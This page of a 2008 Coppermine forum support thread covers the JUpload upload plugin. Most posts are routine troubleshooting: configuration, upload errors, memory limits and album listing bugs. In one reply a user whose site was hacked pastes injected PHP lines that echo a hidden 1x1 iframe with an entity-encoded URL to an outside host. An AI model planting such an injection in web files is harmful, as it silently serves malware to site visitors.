Advanced search  

News:

CPG Release 1.6.26
Correct PHP8.2 issues with user and language managers.
Additional fixes for PHP 8.2
Correct PHP8 error with SMF 2.0 bridge.
Correct IPTC supplimental category parsing.
Download and info HERE

Pages: 1 ... 25 26 27 28 [29] 30 31 32 33   Go Down

Author Topic: Upload applet (JUpload) : the easiest upload !  (Read 684893 times)

0 Members and 1 Guest are viewing this topic.

genti555

  • Coppermine newbie
  • Offline Offline
  • Posts: 8
Re: Upload applet (JUpload) : the easiest upload !
« Reply #560 on: April 09, 2008, 11:14:17 pm »

my site has been hacked by jupload-2.6.4 i do not know how but it has injected an iframe at the end code of codebase.php in /plugins/jupload/codebase.php

it says Parse error: syntax error, unexpected '<' in ........../fotopermsn/plugins/jupload/codebase.php on line 158


this is the ending code of this file:


          return jupload_cpg_die(ERROR, "internal error while reading the extension, for file '${CURRENT_PIC_DATA['filename']}'", __FILE__, __LINE__);

       }

      $CURRENT_PIC_DATA['title'] = str_replace("_", " ", rawurldecode($fmatches[1]));

   }



   return $CURRENT_PIC_DATA;

}



<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>



i do not know where they have entered from.
can anybody help ??? ???


this is my site:  http://fotopermsn.zbavitje.com/
i know that by replacing this file i can fix this but it can happen again and i would like to know how this happened.


EDIT:
i saw that it has hacked also the file jupload.inc.php  and config.inc.php

this is the ending code of this file jupload.inc.php.

$JUPLOAD_CONFIG['version']='2.6.4';

      <?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>


and the ending code for config.inc.php


            cpg_db_query("INSERT INTO {$CONFIG['TABLE_CONFIG']} (name, value) VALUES ('$parameterPrefix$paramName', '"

               . str_replace('\'', '\\\'', $paramsToStore[$paramName])

               . "')"

               );

         }

      }

   }//saveJuploadConfigParamInCoppermineDatabase

   

}<?php echo '<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>'; ?>


i am replacing these files with the original file.
« Last Edit: April 09, 2008, 11:25:36 pm by genti555 »
Logged

Nibbler

  • Guest
Re: Upload applet (JUpload) : the easiest upload !
« Reply #561 on: April 09, 2008, 11:24:03 pm »

This is not related to jUpload - don't blame the innocent.

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html
Logged

genti555

  • Coppermine newbie
  • Offline Offline
  • Posts: 8
Re: Upload applet (JUpload) : the easiest upload !
« Reply #562 on: April 09, 2008, 11:48:11 pm »

This is not related to jUpload - don't blame the innocent.

http://forum.coppermine-gallery.net/index.php/topic,51671.0.html

Sorry Nibbler you are right.The problem did not come from jupload. thanks
Logged

drgonzo120

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 35
Re: Upload applet (JUpload) : the easiest upload !
« Reply #563 on: April 16, 2008, 06:53:31 pm »

hi, it works , thanks!!!

but the configuration is not saved in /httpdocs/coppermine/plugins/jupload/user/config.inc.php .... the file does not exist, when i create it and upload it, and want to cmhod it, it just dissapears !!!! i also tried putting it in the zip and uploaded it that way ... it was there ... but still nog configuration was saved (each time i open de cinfuration page the previously entered vlaues are gone, all is blank)

if i create it through the shell and chmod it 777, the plugin deletes it !

my coppermine version: Coppermine Photo Gallery 1.4.5 (stable)

but again: it works fine !!! i only want to change some options in de configuration and consolidate them


any help ?
« Last Edit: April 16, 2008, 07:16:43 pm by drgonzo120 »
Logged

drgonzo120

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 35
Re: Upload applet (JUpload) : the easiest upload !
« Reply #564 on: April 16, 2008, 07:30:20 pm »

so strange

hehe

it doesn't save in that file and it doesn't show it when default values are put in :p

everything is ok
Logged

etienne_sf

  • Contributor
  • Coppermine addict
  • ***
  • Offline Offline
  • Gender: Male
  • Posts: 908
    • Wiki
Re: Upload applet (JUpload) : the easiest upload !
« Reply #565 on: April 17, 2008, 03:50:37 pm »

so strange

hehe

it doesn't save in that file and it doesn't show it when default values are put in :p

everything is ok

  It's saved into the Coppermine config table, into the database. I'll check if some old doc remain...

Etienne
Logged

donsenilo

  • Coppermine regular visitor
  • **
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 93
    • Bookmarks (Links), Grafik, Musik, Movies (Filme), DVD's, CD's, Amazon-Shop by Starmaker - Mark Tailor
The string "^SUCCESS$" was not found in the response body
« Reply #566 on: April 17, 2008, 08:07:28 pm »

Hello

I use this great mod (3.0.3c) on 3 websites and it works perfectly ... BUT NOW ...

... I get this list of error-messages and can't upload pictures (the first 2x 2 pics are uploaded correctly, but then I get this):

Code: [Select]
19:33:14.921 [INFO] Debug level set to 0
19:33:14.921 [INFO] Current debug output file: D:\temp\Temp\jupload_25627_log.txt
19:33:14.937 [WARN] Invalid int value: true, using default value: 0
19:33:14.937 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:33:14.937 [INFO] maxFileSize: 102400000
19:33:15.390 [INFO] JUpload plugin for coppermine version 3.0.3c
19:34:44.296 [INFO] Debug level set to 1
19:34:44.296 [INFO] Current debug output file: D:\temp\Temp\jupload_25627_log.txt
19:34:44.296 [INFO] JUpload applet, version 3.3.2 [SVN-Rev: 439] (compiled: 03/28/2008 06:54 PM), available at http://jupload.sourceforge.net/
19:34:44.296 [DEBUG] debugLevel: 1 (debugfile: D:\temp\Temp\jupload_25627_log.txt)
19:34:44.296 [INFO] maxFileSize: 102400000
19:34:58.687 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body (wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body)
19:34:58.703 wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "^SUCCESS$" was not found in the response body
19:34:58.703 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:614)
19:34:58.703 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:735)
19:34:58.703 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:491)
19:35:05.437 [ERROR] [wjhk.jupload2.exception.JUploadExceptionUploadFailed] Die HTTP Antwort erfüllt nicht die Kriterien. Vorgang fehlgeschlagen. (Während des Log Managements ist ein Fehler aufgetreten (sbHttpResponseBody))
19:35:05.437 wjhk.jupload2.exception.JUploadExceptionUploadFailed: Die HTTP Antwort erfüllt nicht die Kriterien. Vorgang fehlgeschlagen.
19:35:05.437 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1103)
19:35:05.437 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:35:06.828 [ERROR] [wjhk.jupload2.exception.JUploadIOException] Trying to get the byte array of a on non-closed ByteArrayEncoded (Could not send debug information)
19:35:06.828 wjhk.jupload2.exception.JUploadIOException: Trying to get the byte array of a on non-closed ByteArrayEncoded
19:35:06.828 at wjhk.jupload2.upload.ByteArrayEncoder.getString(ByteArrayEncoder.java:244)
19:35:06.828 at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:1135)
19:35:06.828 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:547)
19:35:06.890 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

Can someone help me please. I'm not a pro ...
Thanx

--------------
EDIT: Attached the Logfile ...
« Last Edit: April 18, 2008, 05:27:06 pm by donsenilo »
Logged

etienne_sf

  • Contributor
  • Coppermine addict
  • ***
  • Offline Offline
  • Gender: Male
  • Posts: 908
    • Wiki
Re: The string "^SUCCESS$" was not found in the response body
« Reply #567 on: April 18, 2008, 02:21:45 pm »



Can someone help me please. I'm not a pro ...
Thanx

  As explained in the doc, please attach the debug output.

Etienne
Logged

russell235

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: The string "^SUCCESS$" was not found in the response body
« Reply #568 on: April 18, 2008, 09:07:17 pm »

Hello

I use this great mod (3.0.3c) on 3 websites and it works perfectly ... BUT NOW ...

... I get this list of error-messages and can't upload pictures (the first 2x 2 pics are uploaded correctly, but then I get this):

did you change your upload directory or permissions on the folder?
Logged

donsenilo

  • Coppermine regular visitor
  • **
  • Country: 00
  • Offline Offline
  • Gender: Male
  • Posts: 93
    • Bookmarks (Links), Grafik, Musik, Movies (Filme), DVD's, CD's, Amazon-Shop by Starmaker - Mark Tailor
Re: The string "^SUCCESS$" was not found in the response body
« Reply #569 on: April 19, 2008, 09:32:22 am »

did you change your upload directory or permissions on the folder?

No.

But I found 2 things:
1. JUpload has successfully uploaded the pictures - they are in the correct directory on the server (permissions are ok, checked it with ftp)
2. "Fatal Error ... Allowed memory size of 33554432 bytes exhausted (tried to allocate 12288 bytes) in b>/is/htdocs/wp1012363_58XT577SEF/autosattler/cpg/plugins/jupload/include/j_picmgmt.inc.php</b> on line <b>1051</b><br />\n"
I don't know, what this message means ...
-------------------
EDIT:
Reading the FAQ, I understand know, what this message means ... but not why.
Opened a new thread to get help (I hope ...): http://forum.coppermine-gallery.net/index.php/topic,52062.0.html, because I think this thread is not the right place for this kind of problem.
-------------------
EDIT:
Problem solved.
Added "php_value memory_limit 64M" in htaccess. Now it works with big pictures.
« Last Edit: April 21, 2008, 10:20:06 am by donsenilo »
Logged

russell235

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Upload applet (JUpload) : the easiest upload !
« Reply #570 on: April 21, 2008, 06:35:34 pm »

I've noticed that this applet is compressing my original jpg image.  How can I make it compress the thumb and intermediate, but leave the original untouched, like the native coppermine upload method?
Logged

russell235

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Upload applet (JUpload) : the easiest upload !
« Reply #571 on: April 21, 2008, 07:08:45 pm »

I posted a little too soon.  I see that you have to set "pictureTransmitMetadata = True"

Great work on this plugin :)
Logged

my:phi

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: Upload applet (JUpload) : the easiest upload !
« Reply #572 on: April 23, 2008, 12:12:26 am »


Hi,

This plugin is just all what I need !

I have a question :
I don't have any categories in my coppermine, only albums. But I must specify one to upload with this applet or I can just update existing albums, not create a new one.
Do you know how to upload without categories ?

Thanks,

Try going back one version of the applet.
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

Hi everyone,

I have the same problem, that I don't have any categories in my gallery. I don't see the albums, that don't have a category. In the field "category" I only see my personal gallery (which is empty).

Now I've read, that I have to downgrade to solve this problem. Is there really no other solution for the latest version (I'm using version 3.0.3c)? And if not: To which version do I have to downgrade?

Thanks in advance!
Logged

jh_dempsey

  • Coppermine newbie
  • Offline Offline
  • Posts: 14
Re: Upload applet (JUpload) : the easiest upload !
« Reply #573 on: April 23, 2008, 03:31:12 pm »

Great program, but i have one little problem...

When i create a new album from within the JUpload page, the album appears at the very end of my album list, meaning I need to go to page 4 (or whatever my last page is) to find it.

I need it so that new albums appear at the top of the list. Any way to do this?
Logged

etienne_sf

  • Contributor
  • Coppermine addict
  • ***
  • Offline Offline
  • Gender: Male
  • Posts: 908
    • Wiki
Re: Upload applet (JUpload) : the easiest upload !
« Reply #574 on: April 24, 2008, 10:58:32 pm »

Hi everyone,

I have the same problem, that I don't have any categories in my gallery. I don't see the albums, that don't have a category. In the field "category" I only see my personal gallery (which is empty).

Now I've read, that I have to downgrade to solve this problem. Is there really no other solution for the latest version (I'm using version 3.0.3c)? And if not: To which version do I have to downgrade?

Thanks in advance!

Note that the answer was given for an old version of JUpload. It should be applied to 3.0.3c.

I don't understand this : "I don't see the albums that don't have a category". That is: you see only albums in categories?


Can you give me more info:
- How do you connect (admin, other ?)
- ...

Perhaps a screen copy of your group settings would help. There are many combinations in Coppermine.

Etienne
Logged

etienne_sf

  • Contributor
  • Coppermine addict
  • ***
  • Offline Offline
  • Gender: Male
  • Posts: 908
    • Wiki
Re: Upload applet (JUpload) : the easiest upload !
« Reply #575 on: April 24, 2008, 11:01:33 pm »

Great program, but i have one little problem...

When i create a new album from within the JUpload page, the album appears at the very end of my album list, meaning I need to go to page 4 (or whatever my last page is) to find it.

I need it so that new albums appear at the top of the list. Any way to do this?

  What do you mean by page 4 ?  On the album page, you can change the album order for each category. Is it what you need ?

It's not currently possible from the JUpload interface.

Etienne
Logged

my:phi

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: Upload applet (JUpload) : the easiest upload !
« Reply #576 on: April 24, 2008, 11:33:43 pm »

Salut Etienne,

I don't understand this : "I don't see the albums that don't have a category". That is: you see only albums in categories?

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.
« Last Edit: April 25, 2008, 10:02:49 am by my:phi »
Logged

etienne_sf

  • Contributor
  • Coppermine addict
  • ***
  • Offline Offline
  • Gender: Male
  • Posts: 908
    • Wiki
Re: Upload applet (JUpload) : the easiest upload !
« Reply #577 on: April 26, 2008, 03:39:36 pm »

Salut Etienne,

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

Ok.

  From the year in our albums name, I guess you didn't upload these albums with JUpload. Correct ?

I've seen something looking like that, and I thought it was a JUpload bug. I 'corrected' it. But it seems to be a Coppermine feature. I'll have to work on this one.

Etienne
Logged

etienne_sf

  • Contributor
  • Coppermine addict
  • ***
  • Offline Offline
  • Gender: Male
  • Posts: 908
    • Wiki
Re: Upload applet (JUpload) : the easiest upload !
« Reply #578 on: April 27, 2008, 01:36:43 pm »

Salut Etienne,

maybe I would see albums in categories, but all my albums don't have a category ("* no category *" in the album manager).

On the JUpload page I only see my personal gallery with 0 albums (because there are no albums in it) in the field "category". And in the field "album" I only see "select album", but there are of course no albums.

I'm connected as an administrator with all permissions. Single file uploads and (FTP) batch file uploads are no problem. Only in JUpload I don't see my albums.

I have attached screenshots of the JUpload page, my group settings and the album manager.

Checked.
  There is actually a problem.   :(

I guessed that 'Personal gallery' and 'No category' was the same, when being an admin. It's wrong, as it's not possible to move an album that is in a personal gallery to a Category, even when you're an admin.

  I'll correct that.

Etienne
Logged

my:phi

  • Coppermine newbie
  • Offline Offline
  • Posts: 5
Re: Upload applet (JUpload) : the easiest upload !
« Reply #579 on: April 27, 2008, 02:16:45 pm »

I'll correct that.

Great, thanks a lot!  :)
Logged
Pages: 1 ... 25 26 27 28 [29] 30 31 32 33   Go Up
 

Page created in 0.038 seconds with 20 queries.